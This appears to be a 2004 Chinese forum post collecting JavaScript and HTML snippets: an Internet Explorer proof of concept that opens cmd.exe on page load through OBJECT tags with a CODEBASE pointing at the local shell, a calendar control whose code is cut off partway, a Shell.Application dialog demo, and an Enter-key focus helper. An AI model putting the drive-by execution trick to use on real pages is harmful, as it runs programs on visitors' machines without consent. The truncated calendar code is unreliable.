-- 作者：Jamers
-- 发布时间：2004-7-5 12:23:00
--
javascript运行客户端exe程序
说明：这只是提供一种思路，不过能不能运行还要看IE的安全设置。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
<style type="text/css">
BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
H1{background-color:#222222;color:#aaaabb}
</style>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>
var programName=new Array(
\'c:/windows/system32/cmd.exe\',
\'c:/winnt/system32/cmd.exe\',
\'c:/cmd.exe\'
);
function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html=\'\';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME=\'X\' CLASSID=\'CLSID:11111111-1111-1111-1111-111111111111\' CODEBASE=\'"+programName[n]+"\' %1=\'r\'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 190, 200, 200, document.body);
}
</SCRIPT>
</head>
<BODY onload="Init()">
<H1>Hmm, let\'s start a command shell...</H1>
<p>
This page doesn\'t do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!
</p>
<p>
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.
</p>
</BODY>
</HTML>
Javascript+HTML仿造VB里的MonthView控件
<html>
<head>
<title>MonthView Demo</title>
<script language=javascript>
/*********************************** 程序功能：日期选择
特点 ：Javascript+HTML仿造VB里的MonthView控件
作者 ：ken
联系 ：boboshu@21cn.com
开发日期：2002-8-5
\\***********************************/
var languageName="cn" //内容显示的语言 value:"cn" "en"
var currentMonth,currentYear
var nowDate,nowMonth,nowYear
d=new Date();
nowDate=d.getDate()
nowMonth=d.getMonth()
nowYear=d.getYear()
currentMonth=nowMonth
currentYear=nowYear
arrWeekCaption_cn = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六")
arrWeekCaption_en = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat")
arrMonthCaption_cn= new Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
arrMonthCaption_en= new Array("January","February","March","April","May","June","July","August","September","October","November","December")
function MonthView(){}
/******************************* 初始化控件
\\*******************************/
function MonthView.initialize(){
output =\'<table cellpadding=0 cellspacing=2 style="border: 1 solid black;width:300;cursor:default" >
</td>
</tr>
</table>
</body>
</html> |
在ie客户端调用windows系统资源
<HTML>
<HEAD>
<TITLE>Start Page</TITLE>
<OBJECT ID="oShell"
CLASSID="clsid:13709620-C279-11CE-A49E-444553540000">
</OBJECT>
<STYLE>
INPUT {width: 200}
</STYLE>
<SCRIPT LANGUAGE="VBScript">
<!--
function fnStart(sMethod)
select case sMethod
case 0
\'Minimizes all windows on the desktop
oShell.MinimizeAll
case 1
\'Displays the Run dialog box
oShell.FileRun
case 2
\'Displays the Shut Down Windows dialog box
oShell.ShutdownWindows
case 3
\'Displays the Find dialog box
oShell.FindFiles
case 4
\'Displays the Date/Time dialog box
oShell.SetTime
case 5
\'Displays the Internet Properties dialog box
oShell.ControlPanelItem "INETCPL.cpl"
case 6
\'Explores the My Documents folder
oShell.Explore "C:\\My Documents"
case 7
\'Enables user to select folder from Program Files
oShell.BrowseForFolder 0, "My Programs", 0, "C:\\Program Files"
case 8
\'Opens the Favorites folder
oShell.Open "C:\\WINDOWS\\Favorites"
case 9
\'Displays the Taskbar Properties dialog box
oShell.TrayProperties
end select
end function
-->
</SCRIPT>
</HEAD>
<BODY>
<H1>Start...</H1>
<INPUT type="button" value="Edit Taskbar Properties" onclick="fnStart(9)"><br>
<INPUT type="button" value="Open Favorites Folder" onclick="fnStart(8)"><br>
<INPUT type="button" value="Browse Program Files" onclick="fnStart(7)"><br>
<INPUT type="button" value="Explore My Documents" onclick="fnStart(6)"><br>
<INPUT type="button" value="Modify Internet Properties" onclick="fnStart(5)"><br>
<INPUT type="button" value="Set System Time" onclick="fnStart(4)"><br>
<INPUT type="button" value="Find a File or Folder" onclick="fnStart(3)"><br>
<INPUT type="button" value="Shut Down Windows" onclick="fnStart(2)"><br>
<INPUT type="button" value="Run" onclick="fnStart(1)"><br>
<INPUT type="button" value="Minimize All Windows" onclick="fnStart(0)">
</BODY>
</HTML>
|
按下回车键指向下一个位置的一个函数
function tofocus(itemname) //按回车置下一个位置
{
var a
a=eval("document.vouch."+itemname)
a.focus()
}
在控件中使用onkeypress="javascrip:if(window.event.keyCode==13){tofocus(\'nextformname\')}提取下一个控件名 |
|